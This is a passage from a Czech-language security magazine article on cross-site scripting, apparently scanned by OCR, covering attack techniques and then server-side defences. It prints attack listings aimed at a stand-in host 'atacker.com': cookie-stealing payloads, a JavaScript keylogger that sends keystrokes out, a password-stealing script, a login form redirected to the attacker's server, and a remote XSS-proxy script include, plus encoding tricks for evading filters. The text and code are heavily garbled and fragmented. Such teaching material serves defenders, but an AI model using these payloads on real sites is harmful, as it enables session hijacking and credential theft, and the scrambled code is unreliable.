se okamzite zacali mnozit varovné zpravy.
Naproti tomu, pokud se po kliknuti na odkaz
nic neprovede, vyCkd se ndhodny pocet se-
kund a teprve poté dojde k odhldseni uzivo-
tele, nebude si nikdo vyvolané odhldsenf od
UcCtu spojovat s kliknutm na odkaz, ke kte-
rému doslo jiz drive. Timto zpusobem muaze
Uto¢nik Uuspesné maskovat nekteré typy Uto-
kU, k nimZ patif napriklad ziskanf prihlasova-
cich udaju k aktudlni webové aplikaci nebo
k e-mailovému Uctu, jejichZ ndzorné priklady
uvedu pozdéji.

Vyuziti cookies k uloZeni informaci

| tuto metodu Ize v urcitych pripadech vie-
le doporucit, aby doplnila vySe uvedeny
priklad. Pokud by k utoku dochdzelo stale
znovu, byl by opétovny utok casto zbytel-
ny a za také lehce odhalitelny. Mnohem
Ucinngj8im se stavd utok, ktery se po
zddrném proveden( jiZz znovu neprojevuje
a zbyte¢né obét neobtéZuje. Pokud Utod-
nikovy staci, aby své obéti z predchoziho
prikladu odhldsil od jejich uctu pouze jed-
nou, bylo by dobré néjakym zpusobem
rozIlisit mezi témi, kteff jiz napadeni byli
nékdy v minulosti a t&mi, kterych se Utok
zatim nijak nedotkl. V tomto pripadé mad
Uto¢nik ponékud omezené moznosti, nic-
meéneé feseni se vZzdy néjaké najde a tak
si uto¢nik zajisté poradi i zde. Jedna z
moznosti JavaScriptu je, ze umoZiuje za-
pisovat na pevny disk uzivatelt informace
v podobé souborl cookies. Béhem utoku
tak muZe Utocnik oznadit napadenou obét
prave takovymto souborem. Pokud Utog-
ny skript na zacdtku své ¢innosti bude
zjistovat existenci téchto cookies u svych
obé&tl, dokdze celkem spolehlivé rozpoznat
ty, ktelf zdarmym Utokem jiz prosli a muze
tak ukoncit svou ¢innost dfive, nez dojde
k néjakému podezieni. | k tomuto tématu
budou nasledovat praktickeé ukdzky v sekci
vénované konkrétnim utokam.

<http><head></head><body>
<form action="/login.php" method="post">
script><!--">
<input type="submit" value="login">

</form>
</body></html>

<script>

</script>

script>

mit();</script>

Vypis 17. Zdrojovy kod stranky s pouZitym bypassem

<p>Pro vstup do zbyvajici ¢asti webu se musite prihléasit:</p>
Username:<input type="text" name="username" value="'"><script>alert('XSS'")</

Pasword:<input type="password" name="password" value="">

Vypis 18. Ukdzka webové strdnky ndchyiné na DOM-based XSS

var pos=document.URL.indexOf ("jmeno=")+6;
document.write ("Ahoj "+document.URL.substring (pos,document.URL.length));

Vypis 19. Triky ¢asto pouZivané ke krddeZi soubor( cookies

<script>document.write (“<img src=‘http://www.atacker.com/savecookie.php?cookie="+docum
ent.cookie+™' width='0" height='0'/>");</script>

<script>document.location.replace (‘http://www.atacker.com/xss.php‘+document.cookie);</

<script>document.write (“<form action=‘http://www.atacker.com/skript.php®
name=‘atackform" method=‘post‘><input type=‘hidden®
name="‘cookie" value="“+document.cookie+“></form>");atackform.sub
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Komunikace
uto¢nika s napadenym klientem
Mnoho  uZivateld  Internetu,  ktefi o

zranitelnosti XSS iz slySeli, jej spojuje se
statickymi Utoky, pfi kterych utoénik vyuZije
nalezené zranitelnosti k tomu, aby nastraZil
svou past a ddle jen sklizel ovoce své préce
v podobé falsovani obsahu webovych
stranek nebo ukradenych soubort cookies,
které udrzuji session uZivatelt. Utoky XSS
ovéem nemusf byt pouze statické. Utocnik
muze s napadenou obétl navdzat spojent
a vymeénovat si s ni data nebo ji zaddvat
pitkazy. Komunikace v takovem piipadé
probihd tak, ze se Utocny skript zacykli a v
pravidelnych intervalech zasild pozadavky
na uto¢niktv server, odkud ziskavd utocnikovi
pitkazy a zasfla na néj své reakce. Vice si o
tomto tématu povime v odstavel venovaném
pOPISU XSS proxy.

Upraveni odkazi

Pokud se utocnikovi podali spustit v
browseru své obéti skript, se kterym dokdze
komunikovat, je pro ngj duleZité, aby spojenf
trvalo co moznd nejdelsi dobu. Pokud vSak
obét prejde na jinou webovou stranku, dojde
k ukonc&enf skriptu a komunikaéni kandl
se uzavie. Jak jsme jiz nekolikrat uvedli, je
pomoci JavaScriptu mozné pristupovat k
jednotlivym objektdm  stranky. Témi jsou |
jednotlivé odkazy a tyto objekty tak mizeme
modifikovat. Pokud utoc¢nik pridd ke vSem
odkozm parametr target=" _blank"
dojde po Kliknutf na odkaz k otevieni cilové
stranky v nové okné a utocnikovi zastava i
naddle umoznéna komunikace se skriptem,
ktery béZi stdle v plvodnim okné.

Vyuziti AJAXu

Dochdzi-li k jakékoliv komunikaci  ze
strany skriptu, mdzZe tento skript vyuZit jak
pozadavky metody GET tak i metody POST.
V obou pfipadech by béhem komunikace
skrz odeslany pozadavek doslo k nactent
stradnky, na kterou byla komunikace
vedena. Toto se stalo ddvodem k tomu,
Ze tvarci utocnych skriptd vyuzivajl ke
komunikaci viastnosti AJAXu. Casto se
proto data naditaji do skrytého iFramu,
kam k nim ddle JavaScriptovy kod
pristupuje, nebo muZze komunikace
probfhat naprosto transparentné, pokud
utoénik pouzije HTTPrequest, jehoz vyhody
jsou zfejmé a ukazeme si je v prikladu s
JavaSriptovym keyloggerem. Na druhou



stranu je HTTPrequest omezen zasilanim
pozadavkd pouze v ramci jedné domeny.
Utodnik v&ak moze zasilat data mimo
doménu napfiklad pomoci poZzadavku na
externf obrdzek. Nazormé ndm to ukazuje
Vypis 27 s kédem praktického piikladu,
ktery odesild mimo doménu obsah pole
po zaddn( hesla.

Konkrétni utoky

Zména obsahu

stranky (8ifeni dezinformaci)

V uréitych pripadech nejde uto¢nikim o
kradez citlivych informaci, ale pokousi se
0 zmeénu obsahu weboveé stranky. Pokud
se jim takovy Utok zdaff, mohou provést
naprosty redesign strdnek, nebo mezi
ostatni obsah mohou zakomponovat jistou
dezinformaci. Zvlasté na davéryhodnych
zpravodajskych serverech muze mittakovy
Utok vazneé nasledky. Na viné podobnych
utokd je DOM, ktery umoznuje pristupovat
k objektum webové stranky a je proto
mozné, prepsat jakykoliv text na strance.

Kradez cookies

Ve chvili, kdy se uto¢nik pokousi napadnout
cizi uzivatelsky ucet, pokousSi se ¢asto
unést uzivatelskou seanci ve chvili, kdy je
obét prihladena ke svému udtu. Jeliko? je
Sasto uzZivatel ze strany webové aplikace
identifikovan pomoci soubort  cookie,
dochdzi pomoci XSS asi nejcastéji ke
kraddezim téchto soubort. Pokud se totiz
utocnik zmocnf obsahu soubort cookies
Své 0obéti, muze v dobé trvani sezenf
navstivit webovou aplikaci a maZe na nf
vystupovat pod identitou své obéti. Triky,
které jsou utocniky ke krddezi cookies
Sasto pouzivény naleznete ve Vypisu 19.
V urcitych pfipadech je vdak pro utocnika
zajimavejsi, kdyz se mize k odcizenému
UcCtu prinlasit i kdykoliv pozdé&ji. V takovém
pfipadé pouhy Unos seance nestacl a
je potreba, aby udtocnik zjistil uzivatelské
prinladovaci udaje. Vyuzit k tomu muze
nektery z nize uvedenych Utokd.

Zména stranky a formulara

pro kradez pfistupovych udaji
Utodnik si moZe zvolit za cil  zjstit
prihlasovacl Udaje k Uctu obétl v prave
navstivené weboveé aplikaci, kterd obsahuje
zranitelnost v podobé XSS. Zde md na vybér
z mnoha rdznych zpusobd, jok dany utok

CROSS SITE REQUEST FORGERY

provést. My si vSak popiseme pouze jednu
z moznych variant, kterd spo¢iva ve zmeéne
prihlasovaciho formuldfe a v ndsledném
odhlageni obéti od jejiho uctu. Cely Utok
doplnime i 0 nékolik zptsobud maskovanf
pred odhalenim.

Predpoklddejme, Ze se v ndvstevn(
knize webové aplikace nachdzf persistentn(
XSS zranitelnost, jejimz vyuzitm muaze
Utoénik vlozit do webového fora skript,
jenz je vykondn webovymi Klienty vzdy,
kdyz dojde k naltenl nokazené stranky.
Ddle predpoklddejme, Ze v zahlavi webové
stranky je mezi tagy <p name="login">
a </p> uzaviena informace 0 jméné
prinléSeného  uzivatele nebo  uvedeno
slovo nepfihldsen. Ovérovani uZivateld je
provedeno na zakladé cookie.

Utoénik  zvoli  ndsledujici  postup:
jakmile ndvstévnik vstoupl na nakazenou
stranku s ndvstévni  knihou, dojde ke
spusténi kodu, ktery nejprve  zkontroluje,
zda je uzivatel zalogovan do aplikace,

poté¢ pocCka 15 vtefin a nahradi obsah
webové stranky hlasenim V aplikaci doslo
k neocekavaneé chybé. Prosim prihlaste se
znovu. Soucasné je zobrazen i prinlasovact
formuldr, ktery je ovsem nasmérovdn na
utoénikav server, ktery bude zachytdavat
jednotlivé prihlasovaci udaje a ndésledneé
je bude preposflat skute¢nému skriptu
pro prinlaseni. Pomoci skriptu uto¢nik takeé
vytvorf na disku navstévnika soubor cookie,
do kterého zapige informaci attack=True
a vymaZe obsah souboru  cookie
SessionlD, pomoci kterého je udrzovdna
uzivatelskd seance. Vypis celého skriptu,
ktery byl pouzit k tomuto Utoku muZete vidét
ve Wpisu 20.

Keylogger v JavaScriptu

Jind varianta predchoziho Utoku, by mohla
prijit v Uvahu ve chvili, kdy by na strance
S navstevni knihou, kterd je ndchylnd na
XSS, byl obsazen i prihlasovaci formuldr,
Pomoci JavaScriptu by bylo mozné spustit

<script>

function atack() {

}
setTimeout ("atack()",5000);
</script>

<script>
function sendkeylog (keylog) {
if (window.ActiveXObject) {

}
else {

httpRequest = new XMLHttpRequest();
}

true);
httpRequest.send(null) ;
}
function savekeycode (e) {

sendkeylog (keylog) ;
keylog="";

}

keylog="";

document.onkeypress=savekeycode;
</script>

Vypis 20. Skript pro kradeZ plihlaSovacich udaju k aplikaci

document.getElementsByTagName ('body"') [0] .innerHTML="<b>Na serveru do$lo
k nedefinované chybé.</b><br><br>Prosim prihlaste
se znovu.<br><br><form method='post' action='http:
//www.atacker.com/save.php'>Username:<input type='text'
name='username' value=''>
name="'password' value="'"'><

value='Logon'></form>";

Vypis 21. Kod moZného keyloggeru v JavaScriptu

httpRequest = new ActiveXObject ("Microsoft.XMLHTTP");

httpRequest.open ("GET", "http://www.atacker.com/savekeylog.php?keylog="+keylog,

keylog+=String.fromCharCode (e.charCode) ;
if ((keylog.length==5) || (e.keyCode==13))

Password:<input type='password'

r><input type='submit' name='submit'

{
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keylogger, ktery by v daném okné zachytdval
vSechny stisknuté kldvesy a logy by odesilal
prostrednictvim  parametrd v URI na
utocnikav server. V takovém piipadé by
stacilo odhldsit dto¢nika od jeho Uctu a
Gekat na chvili, kdy se opétovné prihlast.
Kod JavaScriptoveho keyloggeru naleznete
ve Vypisu 21. Tento keylogger zachytdvd
veskeré uddlosti onKeyPress a kody znakU
uklada do proménné keylog. Ve chvili, kdy
log dosthne délky deseti znakd, nebo
pokud byla stisknuta kldvesa enter; je log
zaslan na server Uto¢nika, kde je zachycen
a zpracovan.

Zobrazeni zpravy o nové doru¢eném
e-mailu s faleSnym formuldfem
Moznd byste se divili, jak Uspeésny dokdze byt
tento typ Utoku, ktery spociva v necekaném
zobrazen( zprdvy 0 nove doru¢eném e-mailu,
béhem prostého surfovani po  Internetu.
Predstavte si, Ze ve webové aplikaci existuje
non-persistentni XSS zranitelnost, pomocf
niz je mozné spustit Uto¢nikav kod. Opét
je vhodné provést tento typ Utoku s urcitym
zpozdénim, aby nedoslo k jeho odhalent.
Skript po chvili vyckavani vyvold zobrazent
dialogového okna, flashové animace nebo
apletu, ktery obsahuje zpravu: Do Vasi
e-mailové schrdnky prave dorazila nova
zprava. Vyzvednéte si ji prihldgenim ke
svému uctu. Ddle jsou doplnéna pole pro
zaddani prinlasovaciho jména a hesla plus
potvrzujicl tlacitko. Mnoho BFU skute¢né
takovému hlaseni uverl a pokusi se skrz
podstréeny formuldr ke svému e-mailovéemu
Udtu prinlgsit.

Kombinace s utoky CSRF

Zddarmé provedeni dtokt typu CSRF o
kterych jsme psali v minulém &isle, ¢asto
komplikujf razné ochrany v podobé skrytych
poli formuldrt nebo proménného URI, které
obsahuje identifikgtor session. Podari-li se
ndm ale v aplikaci nalézt zranitelnost v

Na Internetu

http://sourceforge.net/projects/xss — proxy
XSS Proxy Server,
http://xss-proxy.sourceforge.net/
Advanced_XSS_Controltxt — origindini
dokument 0 XSS Proxy,
htto://www.xssed.com — kromé jiného
také nejobsdhlejsi archiv s nalezenymi
XSS zranitelnostmi.
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podobé XSS, nic nam jiz nebrdni v odeslani
plfipravenych dat skriptim, které  jinak
kontroluji legitimitu  zaslanych pozadavku.
Budeme uvazovat pripad, kdy utocnik chce
zménit zaregistrovanou e-mailovou adresu
v nastaven( Uctu. Skript setemail.php, ktery
je za toto nastaveni zodpovédny ovsem
kontroluje ndhodnou hodnotu ve skrytém
poli formuldfe pfistupném na adrese
http://www.aplicationtest.com/account/
setting.php. Za béZnych okolnosti nemd
uto¢nik k tomuto skrytému poli pifstup, ale
ve chvili, kdy ve stejné domeéné odhall XSS
zranitelnost, maze vygenerovat skryty iFrame
a do ného nechd nadist obsah strdnky s
formuldrem  http://www.aplicationtest.com/
account/setting.php.  Ndsledné  pomoct
skriptu vypIni hodnoty jednotlivych poli a
tento formuldr odeSle. Diky tomu, Ze je
poZadavek odeslldn ze skrytého rdmu,
bude vyslednd zprdva o probéhlé zméng v
nastaven( vrdcena zpét do tohoto rému a
cely Utok tak probéhne zcela nepozorovane.

XSS wormy

Daldf ze zajimavych viastnostl zranitelnostl
XSS je, Ze se nemusf vyskytovat staticky jen
na ur¢eném miste, ale dokdZi se rozristat a
napadat stdle vetsi mnozstvi uzivatelt. XSS

wormy tak Ize prirovnat k béznym cervim,
které zndme ze svéta nebezpetného
malwaru. O co presné jde a jak se muze
XSS Cerv replikovat? Moznosti je hned
nekolik a my si pro predstavu popiseme
dve z nich.

V prvni varianté budeme predpokliadat,
7e se XSS zranitelnost nachdzi ve webmailu,
kam uto¢nik muze zaslat infikovany e-mail,
ktery obsahuje skript viozeny v polozce from
hlavicky e-mailove zpravy. V takovém pripo-
dé dojde k provedeni skriptu okamzité po
prihlaSenl uzivatele ke svému uctu. Nebo
presngji feceno, ve chvili, kdy si necha zob-
razit seznam dorucenych zprav.

Nyni si predstavme, Ze uvedeny skript
dostane od utoénika do vinku takove funkce,
jako je moznost precteni obsahu adresdre,
ktery ndlezf danému uctu, vyhleddni vSech
adres v tomto adresdri, které majf své umfs-
ténf ve stejném webmailu a moznost zaslan(
své kopie na vsechny tyto adresy. Dokdzete
si predstavit tu smrét, kterd by ve webmailu
vznikla, pokud by uto¢nik zaslat takto naka-
Zeny e-mail na deset e-mailovych adres?
Bez zdplatovan( zneuzité zranitelnosti by
pehem pdr dni doslo k infikovani vétsiny uzi-
vatelt daného webmailu o to se nezminuiji o
moznosti, ze by mohla celd aplikace web-

Tabulka 1. Same Origin Policy — kam md utocnik prostrednictvim skriptu umisténého na
strance http:\www.domain.com\atackscripthtml pfistup a na kterd mista pfistup nemd

http:\www.domain.edu\accounthtml

NE  LiSf se doména

fto:\www.domain.com

NE  Lisl se protokol

http:\www.domain.com\info.html

Potrebné udaje souhlasf

klientem

Vypis 24. Ukdzka URL kodovant

Vypis 22. Sript vioZeny do weboveho fora pro nakazeni browseru obéti XSS proxy

<script src="http://www.atacker.com/xssClient.js"></script>

Vypis 23. Zdroj pro iFrame, ktery umoZni navstivit jinou zranitelnou domeénu

http://www.searchsite.com/search.php?query=<script src="http://www.atacker.com/

xssClient.js"></script>

http://www.domain.com/search?quest=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%5C%27%58
%$53%53%5C%27%29%3B%3C%2F%73%63%72%69%70%74%3E




mailu zkolabovat na pretizenl zpdsobené
neustdlou replikact. Podle toho, kolik by mél
kazdy uzivatel doru¢enych kopif, tim vice ko-
pil by také odesilal. Vytvorit takového Cerva
neni opravdu nic slozZitého a pokud budeme
brdt v potaz soucasné zabezpeden! nasich
webmaild, divim se, Ze k podobnym utokdm
u nas dosud nedoslo.

Ve druhé varianté XSS ¢erva, budeme
predpokladat zranitelnost, kterd se nachdzl
v samotném uZivatelském Uctu- napiikiad
v nicku prihléSeného uZivatele, ktery je po
plihlaSen( neustdle zobrazen v hlavicce kazdé
weboveé stranky daného portdlu. Uvazujme
také, Ze uzivatel v riznych ¢dstech webove
aplikace zaddavd  choulostivé  informace,
které by pro utocnika mohly byt zajimavou
kofisti. Aby se k takovym informacim utocnik
dostal, bylo by pro ného nejlepsi, pokud by
se mu podarilo propaSovat ke svym obétem
keylogger, jenz by zachytdval vSechny
uzivatelem stisknuté kigvesy. Cely Utok muze
Utocnik uskutednit pomoci XSS wormu prave
tak, Ze postupné nakazi uzivatelské jméno
vSech uzivatell tim, Ze do ne&j umisti skript
v podobé JavaScriptoveho keyloggeru, ©
kterém jsme se jiz zminili. Stac¢i, aby nalez
dalsf zranitelnost napriklad v diskusnim foru
téhoZ webu a viozil do néj skript, ktery bude
manipulovat s uZivatelskym  nastavenim
Uctd napadenych obéti. Postupné tak dojde

CROSS SITE REQUEST FORGERY

Kk napadeni tmeér vSech prihldSenych

uzivateld.

XSS proxy

Toto vyuzitl Cross-Site scriptingu md asi
nejzdsadnéjsi charakter a dokdaze nejlépe
vystihnout nebezped!, které v XSS ¢ihd.
S prvnf realizaci XSS Proxy prisel v roce
2005 Anton Rager, ktery tak chtél stejné
joko j& upozomit na nebezpecdi, které si
mnoho tvarcd webovych aplikaci vibec
neuvédomuje. Pomoci XSS proxy je moz-
né vytvoren( trvalého komunikac¢niho ka-
ndlu mezi uto¢nikem a obétl, coz vede k
Uplnému ovlddnuti webového browseru
obéti a ke zneuzitl uzivatelovi identity Utoc¢-
nikem. Ten jednak muaZe sledovat ¢innost
svych obét, muZe surfovat po Internetu
skrz jejich browser, nebo skrz n&j muze
provadeét nejriznéjsi utoky na daldi webo-
vé aplikace. Navic, jakmile napadend obét
¢innost svého browseru ukonci, nezbudou
na pocitaci nainstalovany zadné utocniko-
vy aplikace a dokonce se s ukonc¢enim
browseru vytratl I témer vsechny stopy,
které by monhly vést k odhalenf Utoénika.
Ptate se, jak je to mozné? Ackoliv vypa-
dd celd zdlezitost pomérné slozité, je ve
skute¢nosti provedeni takoveho utoku cel-
kem jednoduché. Nejdrive si popiSeme
zplUsob, jakym tento utok probfhd a poté

Tabulka 2. Jiné oznacovdni jednotlivych typt XSS

Non-persistent XSS Reflected XSS

Fe#112; 6#116; 6462;

;</script>

Vypis 217. KradeZ hesla z formuldre

function sendpass () {

}

Vypis 25. Skript z Viypisu 2 zakodovany pomoci html entit

&#60; &#115; 6#99; 6#114; 6#105; &#112; 64116;6#62;&#97;64108; &#101; &#114;&#116;&#40;&#39;&#
120; &#115; &#115; &#39; &#41; &#59; &#60; &#47; &#115; &#99; &#114;&#105

Vypis 26. Skript z Vypisu 2, ktery je dekodovan funker String.fromCharCode()

<script>document.write (String.fromCharCode (60,115,99,114,105,112,116,62,97,108,101,11
4,116,40,39,88,83,83,39,41,59,60,47,115,99,114,105,112,116,62))

var pass = document.getElementById("password") .value;

document.images[0].src="http://atacker.com/writepass?pass=" + pass;

document.getElementById ("button").onclick = sendpass;

Si predstavime jiz existujici nastroje, které
muze utocnik vyuZzit.

V prvni fadé si uto¢nik musi pripravit
aplikaci, kterd bude vystupovat v roli XSS
proxy serveru. Tato aplikace bude naslou-
chat na dvou raznych portech, z nichz jeden
bude vyuzivat Utocnik pro sprdvu a oviddanf
svych obétl a druhy bude pouzit pro komu-
nikaci nakazenych browserd jednotlivych
obéti s timto serverem. Utocnik ddle vyuZije
nékteré XSS zranitelnosti ve webové aplika-
ci (feknéme ve webovém foru), kam viozf
prispévek obsahujfcl skript uvedeny ve Vy-
pisu 22.

Jakmile obé&t navstivi infikovaneé we-
bové forum, dojde k nahrdnf a spusténi
skriptu xssClient.js ze serveru utocni-
ka. Obsah tohoto skriptu nenf vzhledem k
autorskému prévu a z davodu jeho roz-
sdhlosti moZzné uveFeJm‘t na strankdch to-
hoto ¢asopisu a tak si jej budete muset
stahnout z webu viz. romecek Na Interne-
tu. Samotny skript je XSS proxy klientem,
ktery obsahuje nékolik funkcl, které Utoc-
nikovi umozni navdzat se svou obé&tf trvalé
spojeni a pres néj zasilat JavaScriptové
prikazy. Zminéné funkce obsazené v klien-
tovi umoznujf napftiklad:

inicializaci klienta,

ziskani obsahu  aktuding  zobrazené
stranky,

podrobenf zobrazeného dokumentu,
odesldni odpovedi na XSS proxy server,
zachycenf chybovych hldagent.

Klient po svém nahrdni spustf cyklus, bé-
hem néhoZ se bude v pravidelném inter-
valu nékolika sekund prihlaSovat k XSS
proxy serveru. Z néj bude ziskdvat Jo-
vaScriptové prikazy zadané uto¢nikem a
bude na néj odesilat informace, které si
utocnik vyzadal. Navic dojde k vytvoreni
skrytého ramu ve formé iFrame, ktery bu-
de Utocnikovi piné k dispozici pro nacitanf
dokumentl ze stejné domény nebo jiného
webu, ktery taktéZ obsahuje XSS zranitel-
nost. Nesmime zapominat na skutecnost,
Ze je utoénik omezen diky Same Origin

Literatura

Jeremloh Grossmcm a spo

skutecné vynikajici a obsdhld kniha vénujicl
se tématu XSS.

3/2008 HAKIN9



Policy a nemuze tak pristupovat k obsahu
iFrame, pokud jeho obsah pochdzi z jiné
domeény. Schéma, které jsme si nyni po-
psali ukazuje Obrdzek 3.

Je zfejmé, Ze ve chvili, kdy bude obét
nasledovat jakykoliv odkaz, ¢i jinak zménf
aktudIng zobrazenou strdnku, dojde k pre-
rueni spojeni a Utocnik svou obét ztrati.
Utocnik se proto sno?i o to, aby zdstala
tato aktudingé zobrazend stranka neustdle
aktivni a obéti se pokusl nendpadné ote-
Vit nové okno prohlizeCe, ve kterém by
ob&t mohla nerugen& pracovat. MiZe tak
ucinit mnoha zpusoby, z nichz vyberu na-
priklad pop-up okna nebo dopinéni vsech
odkazt ve weboveé strance o parametr
target="_blank" Ten zpusobi nactenf
odkazované stranky do nové otevieného
okna, jakmile obét klikne na néktery z od-
kazu.

Ve chvili, kdy je obét vySe uvedenym
zplusobem napadena, muzZe tuto skuted-
nost zaznamenat Utoénik prostrednictvim
webového rozhrani XSS proxy serveru. V
nem ma moznost sledovat URI aktuding
zobrazenych stranek v8ech svych obétl a
pokud se rozhodne, muze si jedingm klik-
nutim na odkaz nechat od zvolené obéti
zaslat obsah ji zobrazené stranky. Je to
stejné, jako by se utocnik dival své obéti
pfes rameno. Také miZe do skrytého if-
ramu v inflkovaném browseru obéti nahrdat
jakoukoliv jinou strdnku z téZe domény a
nechat si na XSS proxy server zaslat je-
ji obsah. V tomto pripadé viastné utocnik
surfuje doménou pod identitou své obéti,
kterd je navic Casto do webové aplikace
zalogovana a uto¢nik tak maze piné vyuzi-
vat vdech jejich prav.

/de v8ak moznosti XSS proxy jesté
zdaleka nekon&i. Uto&nik ddle muze do
IFramu nechat nahrat webovou stranku
i 7 jakékoliv jiné domeény, pokud se na té-
to stradnce nachdzf zranitelnost v podobé
XSS. Muze jit napriklad o non-persistent-
ni XSS utok, ktery utocnik vyvold viozenim
scriptu z Vypisu 22 do parametru URI
pozadavku na webovou stranku, jenz md
byt do iFramu nactena. Vyslednou po-
dobu odkozu na obsah iFramu muzete
vidét ve Vypisu 23. V takovém piipadé
se uto¢nikovi zobrazi ve webovém roz-
hranl XSS proxy serveru novy zdznam
a bude moci stejnym zplsobem, ja-
ko byl popsdn vy$e ovladat svou obét
i v této nové domeéngé. XSS proxy klient ma-

30 | HAKINS 3/2008

7e byt navic vybaven seznamem webl s
XSS zranitelnostmi a funkcemi, které pro-
skenujl tyto weby, zdo na nich ndhodou
nemd obét zfizen Ucet s trvalym prinhld-
Senim.

Pomocf klienta je mozno provadeét i vy-
hleddvani novych zranitelnych mist, &i pod-
nikat jiné typy utokd. VSe je jen o utoénikove

mace, doporucuji Vam origindini dokument

k XSS proxy, na ktery odkazuji v ramu Na
Internetu.

Obrana

Obrana na strané klienta

Jesté doneddvna se mohli jednotlivi uZi-
vatelé branit proti Utokam XSS velice Ucin-
nou zbrani. Stacilo, aby zakdzali podporu
skriptovanf na strané klienta ve webovém
prohlize¢i a tyto hrozive vyhlizejic Utoky se
jim obloukem vyhnuly. Zkuste si vSak nyni,
kdy je JavaScript Siroce rozsifen a do po-
predl se zac¢ia tladit i AJAX, surfovat po
Internetu bez jeho podpory. Veliké mnozZstvi
webovych strdnek se Vam zobrazl chybné
a mnoho webovych aplikacl dokonce ne-
bude fungovat vibec. Uzivatelé tak prisli o
svou jedinou zbran a budoucnost bezpec-
ného Internetu se tak ocitla pouze v rukou
vyvojara webovych aplikaci. Na nich je, aby
vymytili tyto zranitelnosti, nebot jsou pro boj
S nimi vybaveni daleko lépe nez koncovl
uzivatelé.

Obrana na strané serveru

Pokud jste spravné pochopili principy, na
nichz je XSS zalozeno, jisté Vds odpoved
na otdzku, jak pred nim sprdavné zabez-
pedit sve aplikace, sama napadla. Zd-
kladnim kamenem pro obranu je zamezit
utocnikdim v moznosti zobrazit na strance
vloZené znaky, které by mohly narusit jejf
spravné zobrazeni, nebo které by umoznily
spusténi vioZzenych skriptd. Nabizi se moz-
nost provadét kontrolu a filtrovat tyto znaky
jiZz na vstupu do aplikace nebo az pfi jejich
vystupu. Osobné doporucuji na vstupu
provadet kodovani vSech nebezpecnych
znakl pomoci funkce htmlentities a to
zvIGSte v piipadech, kdy vstupy ukladame
do databdze. Bez jejich kontroly bychom
totiz monhli ¢elit dalsi zranitelnosti v podo-
& SQL injection. Na vystupu pak doporu-
¢uji opét kontrolovat veskeré hodnoty na
vyskyt nebezpeénych znakl a provadét

jejich zakédovani napriklad pomoci funk-
ce htmlspecialchar, kterd vSechny nebez-
pecné znaky nahradfl jejich bezpelnymi
entitami. Kontrole bych podrobil nejenom
vystupy z databdzf, které byly vkladdny
uzivateli, ale 1 vdechny ostatni hodnoty,
které nejsou statickou soucdsti webove
stranky. To znamend i hodnoty preddva-
né v URI nebo jako télo POST pozadavku.
Nikdy nevite, zda utocnik nemohl néktera
data modifikovat a proto je toto opatrenf
na misté. Pokud hodldate nékteré znaky, ¢i
tagy povolit, méli byste tak ¢init na zéklade
pilyeh seznamu, kde vyjmenujete vdechny
povolené vyjimky a ne na zakladé sezna-
mu Cernych, kde byste uvadéli ve, co je
zakdzano. Pokud pouzivate ke kontrole
parser, mélo by jeho pouZitl byt nastaveno
tak, Ze pokud ze vstupu urcité casti vyfil-
truje, mela by prob&hnout kontrola znovu
a to tolikrgt, dokud nebude ovéreno, Ze je
testovand hodnota bezpecnd. Nezapomi-
nejte také na razné zpusoby kodovani, kte-
ré mohou bezpelnostnimi mechanismy
Vol aplikace Uspésné proklouznout a
bilé znaky, které IE zpracovdva ne zrovna
gtastnym zptsobem.

Zaver

Pevné doufdm, Ze po prectenf tohoto ¢lan-
ku, ktery moznosti Utokd XSS pouze okrajo-
vé priblizil, ziskajf vyvojdri k této zranitelnost
patricny respekt a nebudou se k ni stavet
tak prezirave, jako tomu bylo doposud. VY-
vOjar by si méli uvédomit, ze je v dnesni
dobé skriptovani na strané klienta natolik
rozSirené, Ze je témeér nemozné se volné
pohybovat po webovych strankdch Interne-
tu bez jeho podpory. Nenf v silach uzivateld
Celit hrozbdam, které na né v podobé XSS
¢hajl. XSS je ¢asovand bomba, kterd hro-
zi mohutnou explozi a pokud se mame po
Internetu pohybovat bezstarostné, mela by
se tato zranitelnost co nejdiive z webovych
aplikacl vymytit. V&rim, ze vyvojari udélajf
v8echno pro to, aby se Internet stal opét
je (s minimdlng 80% vyskytem zranitelnostf
XSS) pravé nyni.
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